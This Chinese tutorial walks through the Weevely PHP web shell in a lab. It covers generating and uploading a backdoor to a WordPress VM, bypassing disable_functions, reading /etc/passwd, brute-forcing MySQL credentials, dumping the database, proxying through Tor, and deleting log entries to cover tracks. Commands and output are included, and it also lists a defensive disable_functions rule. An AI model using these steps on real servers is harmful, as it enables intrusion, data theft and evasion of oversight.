說明:
本文相關內容僅作為學習使用,請勿用於任何商業用途,更不能用於任何違法行為!
本文為原創,遵循CC 4.0 by-sa版權協議,轉載請附上原文出處鏈接和本聲明。
- 本文主要用途:為極客而生即將出版書籍中,有關維持訪問章節的補充內容。所以本文沒涉及到的一些用法,待書出版了可以來支持一下😜
1. 概述
Weevely是一個專門為后滲透攻擊設計的web shell,由於是用python語言編寫的工具,因此支持跨平台可以在任何有python環境的系統上使用。從使用環境來看它在Linux系統中使用的頻次要高一些,畢竟在Windows系統中被一款類似的工具(中國菜刀)所代替。其源代碼依托於Github。
一般的使用情景是將weevely PHP代理(也稱之為一句話木馬)上傳到目標WEB服務器,通過遠程訪問相關連接實現遠程shell訪問目標服務器。該代理是一個很小的多態PHP腳本,AV很難檢測到它,並且HTTP請求中混淆了通信協議。它共有30多個模塊,這些模塊可以用來協助管理任務、訪問維持、提供態勢感知、提升權限、以及橫向擴展到目標內網。
2. 安裝
首先使用git客戶端進行克隆或者直接下載最新版本的快照,點擊下載。Weevely可以在linux和Mac os中直接運行,因此下面分別介紹兩款操作系統安裝weevely的方法。
- Linux
以下安裝過程作者僅在Ubuntu/Debian中且在python3環境中驗證,首先安裝python軟件包管理器和yaml庫,然后再進入到weevely目錄中執行安裝命令即可。
$ sudo apt-get install -y python3 python3-pip curl
$ cd weevely3/
$ sudo pip3 install -r requirements.txt --upgrade
- OS X
在MAC中首先要求必須要有python3的環境,然后按照以下命令手動安裝gnureadline這個python包,再進入到weevely目錄中執行安裝命令即可。
$ sudo pip3 install gnureadline
$ cd weevely3/
$ sudo pip3 install -r requirements.txt --upgrade
3. 基礎用法
3.1 獲取幫助
可以在weevely的安裝目錄中運行./weevely.py即可打印出它的幫助文檔,以下所有有關weevely的演示均在Kali中進行。
3.2 生成后門代理(木馬)
使用Weevely生成一個后門代理還是非常方便的,可以直接使用它的generate命令然后添加相關密碼以及生成路徑、文件名等選項即可直接生成。如下圖所示,我們生成一個名為forgeek.php連接密碼為mypassword的木馬。
3.3 上傳木馬至目標主機
目標主機我使用一台運行着Wordpress的Linux虛擬機來代替,使用的是由turnkeylinux提供的鏡像。其中Kali linux地址為10.10.10.130,Wordpress服務器地址為10.10.10.143。
3.4 連接木馬
使用weevely連接木馬也非常方便,連接過程如下圖所示:
3.5 連接后基礎操作
3.5.1 獲取webshell幫助信息
在webshell中輸入help即可獲取幫助信息,這里會列出當前版本的webshell支持的所有功能。
在weevely的web shell中要使用某個模塊,一般是在模塊名稱前面加":"來進行模塊的執行。在相應模塊后面加"-h"可以查看該模塊的具體使用方法。
3.5.2 查看系統信息
查看系統信息可以使用自帶的模塊"system_info",也可以在web shell中執行shell命令查看。
weevely> uname -a
Linux wordpress 3.16.0-4-amd64 #1 SMP Debian 3.16.43-2 (2017-04-30) x86_64 GNU/Linux
3.5.3 枚舉用戶文件
枚舉用戶目錄下且有權限的文件,也可用來加載字典。這里我們可以通過":audit_filesystem -h",來查看都支持搜索哪些類型的用戶文件。
3.5.4 查看PHP配置
使用模塊"audit.phpcof"即可查看目標服務器有關PHP的配置信息:
3.5.5 查看本機IP信息
www-data@wordpress:/var/www/wordpress $ :net_ifconfig
+------+-----------------+
| eth0 | 10.10.10.143/24 |
| lo | 127.0.0.1/8 |
+------+-----------------+
www-data@wordpress:/var/www/wordpress $
3.5.6 查看目標主機進程
4. 高級用法
4.1 提權
如果目標系統禁用了系統shell功能,那么可以使用weevely的"audit_disablefunctionsbypass"模塊,通過"mod_cgi"和".htaccess"來繞過系統限制(這里相當於我們說的提權)。當我們使用該模塊時,它會自動的執行相關檢查,然后上傳"mod_cgi"和".htaccess"腳本,最后在目標系統上運行偽系統shell。
在PHP中一般通過"disable_functions = system, proc_open, popen, passthru, shell_exec, exec, python_eval, perl_system"
語句來做一些安全限制。
www-data@wordpress:/var/www/wordpress $:audit_disablefunctionbypass
[-][disablefunctionbypass] After usage, use ':file_rm' to remove '/var/www/html/.htaccess' and '/var/www/html/acubu.ved'
[-][disablefunctionbypass] Run console without reinstalling with ':audit_disablefunctionbypass -just-run http://localhost/acubu.ved'
[-][disablefunctionbypass] Type 'quit' to return to weevely shell. Requests are not obfuscated
CGI shell replacement $ ps -aux
PID TTY TIME CMD
24693 ? 00:00:00 apache2
24694 ? 00:00:00 apache2
24695 ? 00:00:00 apache2
24696 ? 00:00:00 apache2
24697 ? 00:00:00 apache2
24859 ? 00:00:00 acubu.ved
24864 ? 00:00:00 ps
CGI shell replacement $ quit
www-data@wordpress:/var/www/wordpress $
為了避免每次運行時都要執行該安裝過程,您可以直接運行帶有"just-run"選項的指向正確 URL 的 shell 替換控制台。
www-data@wordpress:/var/www/wordpress $ :audit_disablefunctionbypass -just-run http://localhost/acubu.ved
[-][disablefunctionbypass] Type 'quit' to return to weevely shell. Requests are not obfuscated
CGI shell replacement $ whoami
www-data
CGI shell replacement $
如果您已經獲取到了系統權限的shell,那么在運行該腳本是weevely會提示一個錯誤信息:
www-data@wordpress:/var/www/wordpress $ :audit_disablefunctionbypass
Error, you can already execute system commands
4.2 繞過PHP長期運行限制
默認情況下PHP具有時間限制,因此無法運行長時間的前台任務。 在php.ini中缺省的最長執行時間是30秒,這是由 php.ini 中的"max_execution_time"變量指定,如果運行較為繁重的工作那么服務器會在 30 秒后強行中止正在執行的程序。當我們要運行諸如find之類的長期運行任務時,使用weevely可能就會成為一個問題。那么這里可以借助"system_info"和"shell_php"這兩個模塊來繞開這個限制。
4.2.1 檢查限制時間
在weevely活動session中執行"system_info"模塊,可以查看目標主機默認的時間限制是多少秒:
www-data@wordpress:/var/www/wordpress $ :system_info -info max_execution_time
30
www-data@wordpress:/var/www/wordpress $
4.2.2 設置參數繞過限制
從以上執行結果可以看出,默認情況下系統會中斷任何超過30秒的PHP任務。在這里我們使用"set_time_limit(0)"、"@ignore_user_abort(1)",和"ini_set(max_execution_time,0)",通過將這三個參數結合起來執行從而繞過這個限制。當然也可以通過設置修改shell_php模塊的prefix_string來永久的繞過這個限制,從而保證整個session中預先設置這些調用並禁用時間限制。
www-data@wordpress:/var/www/wordpress $ :set shell_php.prefix_string @error_reporting(0);set_time_limit(0);@ignore_user_abort(1);ini_set(max_execution_time,0);
shell_php.prefix_string = @error_reporting(0);set_time_limit(0);@ignore_user_abort(1);ini_set(max_execution_time,0);
www-data@wordpress:/var/www/wordpress $ shell_php.prefix_string = @error_reporting(0);set_time_limit(0);@ignore_user_abort(1);ini_set(max_execution_time,0);
4.2.3 驗證是否生效
注:當PHP在安全模式下運行時,在運行時更改"max_execution_time"的參數不會有任何影響。
4.3 突破限制獲取passwd
如果目標PHP服務器設置了"disable_functions"參數,則可以阻止執行外部shell命令。這樣可以避免類似"/etc/passwd"這樣的敏感信息泄露,從而被攻擊者利用里面的身份通過可執行文件或命令來提升本地權限。
# 為了系統都安全一般建議開啟如下所示內容
disable_functions = system, proc_open, popen, passthru, shell_exec, exec, python_eval, perl_system and open_basedir = /var/www/html/
如果我們的目標主機已開啟上述防護,那么當我們獲取到weevely的web shell后,我們沒有權限去其他目錄,更沒有權限讀取其他目錄文件。
⚡ root@forgeek ~ weevely http://10.10.10.143/forgeek.php mypassword
[+] weevely 4.0.1
[+] Target: www-data@wordpress:/var/www/wordpress
[+] Session: /root/.weevely/sessions/10.10.10.143/forgeek_1.session
[+] Shell: System shell
[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.
weevely> cd /etc
[-][cd] Failed cd '/etc': no such directory or permission denied
www-data@wordpress:/var/www/wordpress $ cat /etc/passwd
[-][download] File download failed, please check remote path and permissions
這時weevely提供的"audit_etcpasswd"模塊就派上用場了,通過參數"-h"可以查看相關幫助文檔。
4.4 暴力破解SQL用戶憑證
4.4.1 說明
4.4小節主要展示如何通過Weevely的web shell,暴力獲取目標主機中SQL相關用戶的憑證。暴力破解后如何對目標系統進行脫庫,以及通過恢復數據庫從而獲取更重要的信息。為了安全起見,建議服務器配置以下信息:
disable_functions = system, proc_open, popen, passthru, shell_exec, exec, python_eval, perl_system and open_basedir = /var/www/html/
4.4.2 查找SQL用戶
這里依然使用"audit_etcpasswd"模塊進行用戶枚舉,通過"-real"參數枚舉真實用戶信息。
4.4.3 利用字典暴力破解
通過4.4.2小節枚舉出來的用戶,再利用攻擊機(Kali)本地的字典文件通過"bruteforce_sql"模塊暴力破解,過程如下圖所示:
4.4.4 通過sql_console連接數據庫
通過4.4.3小節暴力獲取的用戶名密碼,利用"sql_console"模塊即可連接目標服務器的mysql,過程如下圖所示:
4.4.5 通過sql_dump脫庫
對於任何一次web滲透,除了拿下目標服務器的權限以外,脫庫也是很多攻擊者
- 備份數據庫文件
www-data@wordpress:/var/www/wordpress $ :sql_dump -dbms mysql wordpress root password123
SQL dump saved to '/tmp/tmphwsjgqap_root_password123_127.0.0.1_wordpress.sqldump'
# 在Kali中驗證數據庫是否已經download
⚡ root@forgeek ~ ll /tmp/tmphwsjgqap_root_password123_127.0.0.1_wordpress.sqldump
-rw------- 1 root root 41K Aug 16 18:33 /tmp/tmphwsjgqap_root_password123_127.0.0.1_wordpress.sqldump
-
恢復數據庫文件
-
查看數據庫相關信息
至於怎么將數據庫中的密文轉換成明文,相信查看本篇文章的你應該有辦法。
4.5 文件操作
當獲取到目標系統的weevely shell后,我們通過help可以查看文件相關的模塊。通過這些文件操作模塊,可以對目標服務器進行文件的打包、上傳、下載、刪除、在線修改、復制,還可以通過HTTPfs掛在遠程文件系統。通過這些操作,不僅可以修改目標服務器上的源代碼,還可以清除或修改我們的操作日志。比如將access.log中有關攻擊機IP地址的信息刪除,或者篡改日志中的時間戳等等。
4.6 代理服務
4.6.1 通過代理訪問目標
weevely支持通過http、socks兩種代理方式訪問目標主機,也支持通過Tor匿名網絡的方式訪問目標主機。通過使用代理等方式訪問目標主機,某種程度上可以做到匿名訪問的效果。
- 通過http訪問
www-data@wordpress:/var/www/wordpress $ :set proxy http://10.10.10.128:8080
proxy = http://10.10.10.128:8080
www-data@wordpress:/var/www/wordpress $ :system_info -info client_ip
10.10.10.128
- 通過socks
www-data@wordpress:/var/www/wordpress $ :set proxy socks4://10.10.10.128:8090
proxy = socks4://10.10.10.128:8090
www-data@wordpress:/var/www/wordpress $ :system_info -info client_ip
10.10.10.128
- 通過Tor
www-data@wordpress:/var/www/wordpress $ :set proxy socks5://127.0.0.1:9050
proxy = socks5://127.0.0.1:8080
www-data@wordpress:/var/www/wordpress $ :system_info -info client_ip
5.9.12.81
4.6.2 開啟HTTP代理
weevely除了可以使用代理訪問目標主機外,還可以將目標主機網絡作為代理服務器使用。將目標主機作為代理服務器后,從某種程度上我們可以偽裝成目標主機在網絡中活動。通過在weevely的webshell中執行"net_proxy"模塊即可自動打開代理並映射到本地8080端口。
根據上述圖片提示,我們需要設置代理后訪問"http://weevely/"安裝證書。這里我在Kali Linux中的Firefox瀏覽器,在FoxyProxy插件中新增一個weevely的代理並配置相關信息,然后開啟代理。
如果不按照提示安裝CA證書,那么在訪問https網站時會有如下提示: